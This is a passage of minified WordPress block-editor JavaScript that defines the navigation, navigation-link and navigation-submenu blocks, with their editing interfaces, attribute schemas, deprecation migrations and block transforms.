vs={submenuVisibility:Xt};Xt==="always"?vs.showSubmenuIcon=!1:(Xt==="click"||g==="always")&&(vs.showSubmenuIcon=!0),t(vs)},isBlock:!0,children:[(0,pe.jsx)(Vr.__experimentalToggleGroupControlOption,{value:"hover",label:(0,Dt.__)("Hover")}),(0,pe.jsx)(Vr.__experimentalToggleGroupControlOption,{value:"click",label:(0,Dt.__)("Click")}),S==="vertical"&&(0,pe.jsx)(Vr.__experimentalToggleGroupControlOption,{value:"always",label:(0,Dt.__)("Always")})]})}),(0,pe.jsx)(Vr.__experimentalToolsPanelItem,{hasValue:()=>!_,label:(0,Dt.__)("Show arrow"),onDeselect:()=>t({showSubmenuIcon:!0}),isDisabled:g==="click"||g==="always",isShownByDefault:!0,children:(0,pe.jsx)(Vr.ToggleControl,{checked:_,onChange:Xt=>{t({showSubmenuIcon:Xt})},disabled:g==="click"||g==="always",label:(0,Dt.__)("Show arrow")})}),Jm&&(0,pe.jsx)(Vr.Notice,{spokenMessage:null,status:"warning",isDismissible:!1,className:"wp-block-navigation__submenu-accessibility-notice",children:Jm})]})})}),!Cu&&(0,pe.jsx)(Xe.InspectorControls,{children:(0,pe.jsx)(mY,{overlayMenu:b,overlay:y,setAttributes:t,onNavigateToEntityRecord:P,overlayMenuPreview:Ie,setOverlayMenuPreview:$e,hasIcon:E,icon:B,overlayMenuPreviewClasses:i0,overlayMenuPreviewId:by,isResponsive:mf,currentTheme:H,hasOverlays:xe})}),(0,pe.jsx)(Xe.InspectorControls,{group:"color",children:(0,pe.jsx)(Nxe,{textColor:s,setTextColor:c,backgroundColor:i,setBackgroundColor:l,overlayTextColor:p,setOverlayTextColor:d,overlayBackgroundColor:u,setOverlayBackgroundColor:m,clientId:r,navRef:wu,hasCustomOverlay:!!y})})]}),hf=`${r}-desc`,ep=b==="always",tp=!vy||!Oe;if(oo&&!ae)return(0,pe.jsxs)($n,{...Tu,"aria-describedby":uf?void 0:hf,children:[(0,pe.jsx)(z3,{id:hf,children:(0,Dt.__)("Unsaved Navigation Menu.")}),(0,pe.jsx)(R3,{clientId:r,createNavigationMenuIsSuccess:Be,createNavigationMenuIsError:Ae,currentMenuId:D,isNavigationMenuMissing:ut,isManageMenusButtonDisabled:tp,onCreateNew:re,onSelectClassicMenu:pf,onSelectNavigationMenu:df,isLoading:Su,blockEditingMode:G}),G==="default"&&s0,(0,pe.jsx)(QN,{id:r,onToggle:Q,isOpen:Ro,hasIcon:E,icon:B,isResponsive:mf,isHiddenByDefault:ep,overlayBackgroundColor:u,overlayTextColor:p,overlay:y,onNavigateToEntityRecord:P,children:(0,pe.jsx)(EQ,{createNavigationMenu:le,blocks:rt,hasSelection:a||tt})})]});if(D&&ut)return(0,pe.jsxs)($n,{...Tu,children:[(0,pe.jsx)(R3,{clientId:r,createNavigationMenuIsSuccess:Be,createNavigationMenuIsError:Ae,currentMenuId:D,isNavigationMenuMissing:ut,isManageMenusButtonDisabled:tp,onCreateNew:re,onSelectClassicMenu:pf,onSelectNavigationMenu:df,isLoading:Su,blockEditingMode:G}),(0,pe.jsx)(k3,{onCreateNew:re})]});if(bt&&V)return(0,pe.jsx)("div",{...Tu,children:(0,pe.jsx)(Xe.Warning,{children:(0,Dt.__)("Block cannot be rendered inside itself.")})});let O8=f||pQ;return uf&&f?(0,pe.jsx)($n,{...Tu,children:(0,pe.jsx)(O8,{isSelected:a,currentMenuId:D,clientId:r,canUserCreateNavigationMenus:fn,isResolvingCanUserCreateNavigationMenus:sf,onSelectNavigationMenu:df,onSelectClassicMenu:pf,onCreateEmpty:re})}):(0,pe.jsx)(wm.EntityProvider,{kind:"postType",type:"wp_navigation",id:D,children:(0,pe.jsxs)(Xe.RecursionProvider,{uniqueId:O,children:[(0,pe.jsx)(R3,{clientId:r,createNavigationMenuIsSuccess:Be,createNavigationMenuIsError:Ae,currentMenuId:D,isNavigationMenuMissing:ut,isManageMenusButtonDisabled:tp,onCreateNew:re,onSelectClassicMenu:pf,onSelectNavigationMenu:df,isLoading:Su,blockEditingMode:G}),G==="default"&&s0,G==="contentOnly"&&bt&&(0,pe.jsx)(Exe,{clientId:r}),G==="default"&&bt&&(0,pe.jsxs)(Xe.InspectorControls,{group:"advanced",children:[da&&ro&&(0,pe.jsx)(wQ,{}),zo&&at&&(0,pe.jsx)(LQ,{onDelete:()=>{ot(r,[]),X((0,Dt.__)("Navigation Menu successfully deleted."))}}),(0,pe.jsx)(FY,{disabled:tp,className:"wp-block-navigation-manage-menus-button"})]}),(0,pe.jsxs)($n,{...Tu,"aria-describedby":!uf&&!Su?hf:void 0,children:[Su&&!ep&&(0,pe.jsx)("div",{className:"wp-block-navigation__loading-indicator-container",children:(0,pe.jsx)(Vr.Spinner,{className:"wp-block-navigation__loading-indicator"})}),(!Su||ep)&&(0,pe.jsxs)(pe.Fragment,{children:[(0,pe.jsx)(_X,{id:hf}),(0,pe.jsx)(QN,{id:r,onToggle:Q,hasIcon:E,icon:B,isOpen:Ro,isResponsive:mf,isHiddenByDefault:ep,overlayBackgroundColor:u,overlayTextColor:p,overlay:y,onNavigateToEntityRecord:P,children:bt&&(0,pe.jsx)(bQ,{clientId:r,hasCustomPlaceholder:!!f,templateLock:x,orientation:S})})]})]})]})})}var SX=(0,Xe.withColors)({textColor:"color"},{backgroundColor:"color"},{overlayBackgroundColor:"color"},{overlayTextColor:"color"})(Dxe);var TX=o(T(),1),PX=o(v(),1);function BX({attributes:e}){if(!e.ref)return(0,PX.jsx)(TX.InnerBlocks.Content,{})}var Cm=o(T(),1),Zh=o(ue(),1);var Sm=o(v(),1),wD={fontStyle:"var:preset|font-style|",fontWeight:"var:preset|font-weight|",textDecoration:"var:preset|text-decoration|",textTransform:"var:preset|text-transform|"},Kh=({navigationMenuId:e,...t})=>({...t,ref:e}),O3=e=>{if(e.layout)return e;let{itemsJustification:t,orientation:r,...a}=e;return(t||r)&&Object.assign(a,{layout:{type:"flex",...t&&{justifyContent:t},...r&&{orientation:r}}}),a},H3=e=>{let{openSubmenusOnClick:t,...r}=e;return t==null?e:{...r,submenuVisibility:r.submenuVisibility??(t?"click":"hover")}},Lxe={attributes:{ref:{type:"number"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"mobile"},icon:{type:"string",default:"handle"},hasIcon:{type:"boolean",default:!0},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"},maxNestingLevel:{type:"number",default:5},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalLetterSpacing:!0,__experimentalTextDecoration:!0,__experimentalSkipSerialization:["textDecoration"],__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}},layout:{allowSwitching:!1,allowInheriting:!1,allowVerticalAlignment:!1,allowSizingOnChildren:!0,default:{type:"flex"}},interactivity:!0,renaming:!1},save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})},isEligible:({openSubmenusOnClick:e})=>e!=null,migrate:H3},Mxe={attributes:{navigationMenuId:{type:"number"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},overlayMenu:{type:"string",default:"mobile"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}},layout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}}},save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})},isEligible:({navigationMenuId:e})=>!!e,migrate:Kh},Axe={attributes:{navigationMenuId:{type:"number"},orientation:{type:"string",default:"horizontal"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"never"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}}},save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})},isEligible:({itemsJustification:e,orientation:t})=>!!e||!!t,migrate:(0,Zh.compose)(Kh,O3,H3)},Rxe={attributes:{orientation:{type:"string",default:"horizontal"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"never"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}}},save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})},migrate:(0,Zh.compose)(Kh,O3,jt,H3),isEligible({style:e}){return e?.typography?.fontFamily}},zxe=function(e){return delete e.isResponsive,{...e,overlayMenu:"mobile"}},Vxe=function(e){return{...e,style:{...e.style,typography:Object.fromEntries(Object.entries(e.style.typography??{}).map(([t,r])=>{let a=wD[t];if(a&&r.startsWith(a)){let n=r.slice(a.length);return t==="textDecoration"&&n==="strikethrough"?[t,"line-through"]:[t,n]}return[t,r]}))}}},Fxe=[Lxe,Mxe,Axe,Rxe,{attributes:{orientation:{type:"string",default:"horizontal"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},isResponsive:{type:"boolean",default:"false"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0}},isEligible(e){return e.isResponsive},migrate:(0,Zh.compose)(Kh,O3,jt,zxe,H3),save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})}},{attributes:{orientation:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,fontSize:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,color:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0},save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})},isEligible(e){if(!e.style||!e.style.typography)return!1;for(let t in wD){let r=e.style.typography[t];if(r&&r.startsWith(wD[t]))return!0}return!1},migrate:(0,Zh.compose)(Kh,O3,jt,Vxe)},{attributes:{className:{type:"string"},textColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},fontSize:{type:"string"},customFontSize:{type:"number"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean"}},isEligible(e){return e.rgbTextColor||e.rgbBackgroundColor},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0},migrate:(0,Zh.compose)(Kh,e=>{let{rgbTextColor:t,rgbBackgroundColor:r,...a}=e;return{...a,customTextColor:e.textColor?void 0:e.rgbTextColor,customBackgroundColor:e.backgroundColor?void 0:e.rgbBackgroundColor}}),save(){return(0,Sm.jsx)(Cm.InnerBlocks.Content,{})}}],IX=Fxe;var{name:LX}=q4,MX={icon:gp,example:{attributes:{overlayMenu:"never"},innerBlocks:[{name:"core/navigation-link",attributes:{label:(0,j3.__)("Home"),url:"https://make.wordpress.org/"}},{name:"core/navigation-link",attributes:{label:(0,j3.__)("About"),url:"https://make.wordpress.org/"}},{name:"core/navigation-link",attributes:{label:(0,j3.__)("Contact"),url:"https://make.wordpress.org/"}}]},edit:SX,save:BX,__experimentalLabel:({ref:e})=>{if(!e)return;let t=(0,EX.select)(NX.store).getEditedEntityRecord("postType","wp_navigation",e);if(t?.title)return(0,DX.decodeEntities)(t.title)},deprecated:IX},Oxe=()=>N({name:LX,metadata:q4,settings:MX});var TD={};q(TD,{init:()=>Kxe,metadata:()=>U3,name:()=>GX,settings:()=>Z3});var Tm=o(I(),1);var OX=o(T(),1),HX=o(Vc(),1),jX=o(U(),1);var U3={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/navigation-link",title:"Custom Link",category:"design",parent:["core/navigation"],allowedBlocks:["core/navigation-link","core/navigation-submenu","core/page-list"],description:"Add a page, link, or another item to your navigation.",textdomain:"default",attributes:{label:{type:"string",role:"content"},type:{type:"string"},description:{type:"string"},rel:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string",role:"content"},title:{type:"string"},kind:{type:"string"},isTopLevelLink:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","style"],supports:{anchor:!0,reusable:!1,html:!1,__experimentalSlashInserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},renaming:!1,interactivity:{clientNavigation:!0}},selectors:{states:{"@current":".wp-block-navigation .current-menu-item"}},editorStyle:"wp-block-navigation-link-editor",style:"wp-block-navigation-link"};var G3=o(U(),1),$v=o(z(),1),gd=o(A(),1),W3=o(Cs(),1),rl=o(I(),1),oa=o(T(),1),$3=o(nr(),1),rn=o(j(),1);var q3=o(ue(),1);var lr=o(v(),1),jxe={name:"core/navigation-link"},Uxe=["core/navigation-link","core/navigation-submenu"];function Gxe(e){let t="";switch(e){case"post":t=(0,rl.__)("Select post");break;case"page":t=(0,rl.__)("Select page");break;case"category":t=(0,rl.__)("Select category");break;case"tag":t=(0,rl.__)("Select tag");break;default:t=(0,rl.__)("Add link")}return t}function SD({attributes:e,isSelected:t,setAttributes:r,insertBlocksAfter:a,mergeBlocks:n,onReplace:i,context:l,clientId:s}){let{id:c,label:u,type:m,url:p,description:d,kind:f,metadata:h}=e,{maxNestingLevel:g}=l,{replaceBlock:b,__unstableMarkNextChangeAsNotPersistent:y,selectBlock:_}=(0,$v.useDispatch)(oa.store),[x,k]=(0,rn.useState)(t&&!p),[S,C]=(0,rn.useState)(null),E=(0,rn.useRef)(null),B=Hv(E),D=(0,rl.__)("Add label\u2026"),M=(0,rn.useRef)(),O=(0,rn.useRef)(),R=(0,rn.useRef)(u===void 0),F=(0,rn.useRef)(!1),{isAtMaxNesting:P,isTopLevelLink:H,isParentOfSelectedBlock:$,hasChildren:V,parentBlockClientId:G,isSubmenu:K}=(0,$v.useSelect)(Qe=>{let{getBlockCount:Ro,getBlockName:Q,getBlockRootClientId:Ie,hasSelectedInnerBlock:$e,getBlockParentsByBlockName:Oe}=Qe(oa.store),De=Ie(s),ut=Q(De),ro=ut==="core/navigation",da=ro?De:Oe(s,"core/navigation")[0],at=ut==="core/navigation-submenu"?De:da;return{isAtMaxNesting:Oe(s,Uxe).length>=g,isTopLevelLink:ro,isParentOfSelectedBlock:$e(s,!0),hasChildren:!!Ro(s),parentBlockClientId:at,isSubmenu:ut==="core/navigation-submenu"}},[s,g]),X=Ov(s),{getBlocks:ee}=(0,$v.useSelect)(oa.store),{hasUrlBinding:ne,isBoundEntityAvailable:J,entityRecord:oe}=xi({clientId:s,attributes:e}),ie=Dv({clientId:s,attributes:e,setAttributes:r}),[le,de]=hd(f,m,c,X),Ve=(0,rn.useCallback)(()=>{let Qe=ee(s);Qe.length===0&&(Qe=[(0,G3.createBlock)("core/navigation-link")],_(Qe[0].clientId));let Ro=(0,G3.createBlock)("core/navigation-submenu",e,Qe);b(s,Ro)},[ee,s,_,b,e]);(0,rn.useEffect)(()=>{R.current&&t&&_(G)},[]),(0,rn.useEffect)(()=>{V&&(y(),Ve())},[V,y,Ve]),(0,rn.useEffect)(()=>{if(!(!R.current||!p||!x)){if(R.current=!1,(0,$3.isURL)((0,$3.prependHTTP)(u))&&/^.+\.[a-z]+/.test(u))jv(M);else if(_(s,null),K){let Qe=ee(G);Qe.length===1&&Qe[0].clientId===s&&(F.current=!0)}}},[p,x,R,u]);function Ne(){r({url:void 0,label:void 0,id:void 0,kind:void 0,type:void 0,opensInNewTab:!1}),k(!1)}let{textColor:ae,customTextColor:Be,backgroundColor:Ae,customBackgroundColor:re}=cd(l,!H);function fe(Qe){W3.isKeyboardEvent.primary(Qe,"k")&&(Qe.preventDefault(),Qe.stopPropagation(),k(!0))}let rt=(0,q3.useInstanceId)(SD),tt=ne&&!J,Yt=tt?(0,rl.sprintf)("navigation-link-edit-%d-desc",rt):void 0,he=(0,oa.useBlockProps)({ref:(0,q3.useMergeRefs)([C,E]),className:w("wp-block-navigation-item",{"is-editing":t||$,"is-dragging-within":B,"has-link":!!p,"has-child":V,"has-text-color":!!ae||!!Be,[(0,oa.getColorClassName)("color",ae)]:!!ae,"has-background":!!Ae||re,[(0,oa.getColorClassName)("background-color",Ae)]:!!Ae}),"aria-describedby":Yt,"aria-invalid":tt,style:{color:!ae&&Be,backgroundColor:!Ae&&re},onKeyDown:fe}),wt=(0,oa.useInnerBlocksProps)({...he,className:"remove-outline"},{defaultBlock:jxe,directInsert:!0,renderAppender:!1}),je=!p&&!(ne&&J)||le||de||ne&&!J;je&&(he.onClick=()=>{k(!0)});let xe=w("wp-block-navigation-item__content",{"wp-block-navigation-link__placeholder":je}),ot=Gxe(m),Ke=N3();return(0,lr.jsxs)(lr.Fragment,{children:[(0,lr.jsx)(oa.BlockControls,{children:(0,lr.jsxs)(gd.ToolbarGroup,{children:[(0,lr.jsx)(gd.ToolbarButton,{name:"link",icon:Yn,title:(0,rl.__)("Link"),shortcut:W3.displayShortcut.primary("k"),onClick:()=>{k(!0)}}),!P&&(0,lr.jsx)(gd.ToolbarButton,{name:"submenu",icon:sp,title:(0,rl.__)("Add submenu"),onClick:Ve})]})}),(0,lr.jsx)(oa.InspectorControls,{group:"content",children:(0,lr.jsx)(Vv,{attributes:e,setAttributes:r,clientId:s})}),(0,lr.jsxs)("div",{...he,children:[tt&&(0,lr.jsx)(gd.VisuallyHidden,{id:Yt,children:Ke}),(0,lr.jsxs)("a",{className:xe,children:[!p&&!h?.bindings?.url?(0,lr.jsx)("div",{className:"wp-block-navigation-link__placeholder-text",children:(0,lr.jsx)("span",{children:ot})}):(0,lr.jsxs)(lr.Fragment,{children:[!le&&!de&&(0,lr.jsxs)(lr.Fragment,{children:[(0,lr.jsx)(oa.RichText,{ref:M,identifier:"label",className:"wp-block-navigation-item__label",value:u,onChange:Qe=>r({label:Qe}),onMerge:n,onReplace:i,__unstableOnSplitAtEnd:()=>a((0,G3.createBlock)("core/navigation-link")),"aria-label":(0,rl.__)("Navigation link text"),placeholder:D,withoutInteractiveFormatting:!0}),d&&(0,lr.jsx)("span",{className:"wp-block-navigation-item__description",children:d})]}),(le||de)&&(0,lr.jsx)(Fv,{label:u,isInvalid:le,isDraft:de,className:"wp-block-navigation-link__label"})]}),x&&(0,lr.jsx)(Jc,{ref:O,clientId:s,link:e,entity:{entityRecord:oe,hasBinding:ne,isEntityAvailable:J},onClose:()=>{if(k(!1),!p&&!ne){i([]);return}if(F.current&&(F.current=!1,E.current?.nextElementSibling)){let Qe=E.current.nextElementSibling.querySelector(".block-editor-button-block-appender");Qe&&Qe.focus()}},anchor:S,onRemove:Ne,onChange:ie})]}),(0,lr.jsx)("div",{...wt})]})]})}var AX=o(T(),1),RX=o(v(),1);function zX(){return(0,RX.jsx)(AX.InnerBlocks.Content,{})}function Wxe(e){switch(e){case"post":return X0;case"page":return Tc;case"tag":return m1;case"category":return Mu;default:return _9}}function VX(e,t){if(t!=="core/navigation-link")return e;if(e.variations){let r=(n,i)=>n.type===i.type,a=e.variations.map(n=>({...n,...!n.icon&&{icon:Wxe(n.name)},...!n.isActive&&{isActive:r}}));return{...e,variations:a}}return e}var aa=o(U(),1),$xe={from:[{type:"block",blocks:["core/site-logo"],transform:()=>(0,aa.createBlock)("core/navigation-link")},{type:"block",blocks:["core/spacer"],transform:()=>(0,aa.createBlock)("core/navigation-link")},{type:"block",blocks:["core/home-link"],transform:()=>(0,aa.createBlock)("core/navigation-link")},{type:"block",blocks:["core/social-links"],transform:()=>(0,aa.createBlock)("core/navigation-link")},{type:"block",blocks:["core/search"],transform:()=>(0,aa.createBlock)("core/navigation-link")},{type:"block",blocks:["core/page-list"],transform:()=>(0,aa.createBlock)("core/navigation-link")},{type:"block",blocks:["core/buttons"],transform:()=>(0,aa.createBlock)("core/navigation-link")}],to:[{type:"block",blocks:["core/navigation-submenu"],transform:(e,t)=>(0,aa.createBlock)("core/navigation-submenu",e,t)},{type:"block",blocks:["core/spacer"],transform:()=>(0,aa.createBlock)("core/spacer")},{type:"block",blocks:["core/site-logo"],transform:()=>(0,aa.createBlock)("core/site-logo")},{type:"block",blocks:["core/home-link"],transform:()=>(0,aa.createBlock)("core/home-link")},{type:"block",blocks:["core/social-links"],transform:()=>(0,aa.createBlock)("core/social-links")},{type:"block",blocks:["core/search"],transform:()=>(0,aa.createBlock)("core/search",{showLabel:!1,buttonUseIcon:!0,buttonPosition:"button-inside"})},{type:"block",blocks:["core/page-list"],transform:()=>(0,aa.createBlock)("core/page-list")},{type:"block",blocks:["core/buttons"],transform:({label:e,url:t,rel:r,title:a,opensInNewTab:n})=>(0,aa.createBlock)("core/buttons",{},[(0,aa.createBlock)("core/button",{text:e,url:t,rel:r,title:a,linkTarget:n?"_blank":void 0})])}]},FX=$xe;var UX=o(v(),1),{fieldsKey:qxe,formKey:Zxe}=Z(jX.privateApis),{name:GX}=U3,Z3={icon:E0,__experimentalLabel(e,{context:t}){if(t==="list-view")return e?.label;if(t==="appender"){let r=e?.type||"link";return(0,Tm.sprintf)((0,Tm._x)("Add %s","add default block type"),r)}return e?.label},merge(e,{label:t=""}){return{...e,label:e.label+t}},edit:SD,save:zX,example:{attributes:{label:(0,Tm._x)("Example Link","navigation link preview example"),url:"https://example.com"}},deprecated:[{isEligible(e){return e.nofollow},attributes:{label:{type:"string"},type:{type:"string"},nofollow:{type:"boolean"},description:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string"}},migrate({nofollow:e,...t}){return{rel:e?"nofollow":"",...t}},save(){return(0,UX.jsx)(OX.InnerBlocks.Content,{})}}],transforms:FX};window.__experimentalContentOnlyInspectorFields&&(Z3[qxe]=[{id:"label",label:(0,Tm.__)("Label"),type:"text",Edit:"rich-text"},{id:"link",label:(0,Tm.__)("Link"),type:"url",Edit:"link",getValue:({item:e})=>({url:e.url,rel:e.rel}),setValue:({value:e})=>({url:e.url,rel:e.rel})}],Z3[Zxe]={fields:["label","link"]});var Kxe=()=>((0,HX.addFilter)("blocks.registerBlockType","core/navigation-link",VX),N({name:GX,metadata:U3,settings:Z3}));var BD={};q(BD,{init:()=>e_e,metadata:()=>K3,name:()=>tJ,settings:()=>tw});var Zv=o(I(),1),eJ=o(U(),1);var K3={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/navigation-submenu",title:"Submenu",category:"design",parent:["core/navigation"],description:"Add a submenu to your navigation.",textdomain:"default",attributes:{label:{type:"string",role:"content"},type:{type:"string"},description:{type:"string"},rel:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string",role:"content"},title:{type:"string"},kind:{type:"string"},isTopLevelItem:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","openSubmenusOnClick","submenuVisibility","style"],supports:{anchor:!0,reusable:!1,html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-navigation-submenu-editor",style:"wp-block-navigation-submenu"};var Y3=o(z(),1),qv=o(A(),1),X3=o(Cs(),1),Qh=o(I(),1),$r=o(T(),1),J3=o(nr(),1),os=o(j(),1);var qX=o(fv(),1),ZX=o(U(),1),ew=o(ue(),1);var Q3=o(A(),1),PD=o(v(),1),WX=()=>(0,PD.jsx)(Q3.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 12 12",fill:"none",children:(0,PD.jsx)(Q3.Path,{d:"M1.50002 4L6.00002 8L10.5 4",strokeWidth:"1.5"})});var Nr=o(v(),1),$X=["core/navigation-link","core/navigation-submenu","core/page-list"];function KX({attributes:e,isSelected:t,setAttributes:r,mergeBlocks:a,onReplace:n,context:i,clientId:l}){let{label:s,url:c,description:u,kind:m,type:p,id:d}=e,{showSubmenuIcon:f,maxNestingLevel:h,submenuVisibility:g}=i,y=(0,$r.useBlockEditingMode)()!=="default"?!0:g==="click",{clearBinding:_,createBinding:x,hasUrlBinding:k,isBoundEntityAvailable:S,entityRecord:C}=xi({clientId:l,attributes:e}),{__unstableMarkNextChangeAsNotPersistent:E,replaceBlock:B}=(0,Y3.useDispatch)($r.store),[D,M]=(0,os.useState)(!1),[O,R]=(0,os.useState)(null),F=(0,os.useRef)(null),P=Hv(F),H=(0,Qh.__)("Add text\u2026"),$=(0,os.useRef)(),{parentCount:V,isParentOfSelectedBlock:G,isImmediateParentOfSelectedBlock:K,hasChildren:X,selectedBlockHasChildren:ee,onlyDescendantIsEmptyLink:ne}=(0,Y3.useSelect)(je=>{let{hasSelectedInnerBlock:xe,getSelectedBlockClientId:ot,getBlockParentsByBlockName:Ke,getBlock:Qe,getBlockCount:Ro,getBlockOrder:Q}=je($r.store),Ie,$e=ot(),Oe=Q($e);if(Oe?.length===1){let De=Qe(Oe[0]);Ie=De?.name==="core/navigation-link"&&!De?.attributes?.label}return{parentCount:Ke(l,"core/navigation-submenu").length,isParentOfSelectedBlock:xe(l,!0),isImmediateParentOfSelectedBlock:xe(l,!1),hasChildren:!!Ro(l),selectedBlockHasChildren:!!Oe?.length,onlyDescendantIsEmptyLink:Ie}},[l]),J=Ov(l),oe=(0,ew.usePrevious)(X),[ie,le]=hd(m,p,d,J);(0,os.useEffect)(()=>{!y&&!c&&M(!0)},[]),(0,os.useEffect)(()=>{t||M(!1)},[t]),(0,os.useEffect)(()=>{D&&c&&(0,J3.isURL)((0,J3.prependHTTP)(s))&&/^.+\.[a-z]+/.test(s)&&jv($)},[c]);let{textColor:de,customTextColor:Ve,backgroundColor:Ne,customBackgroundColor:ae}=cd(i,V>0);function Be(je){X3.isKeyboardEvent.primary(je,"k")&&(je.preventDefault(),je.stopPropagation(),M(!0))}let 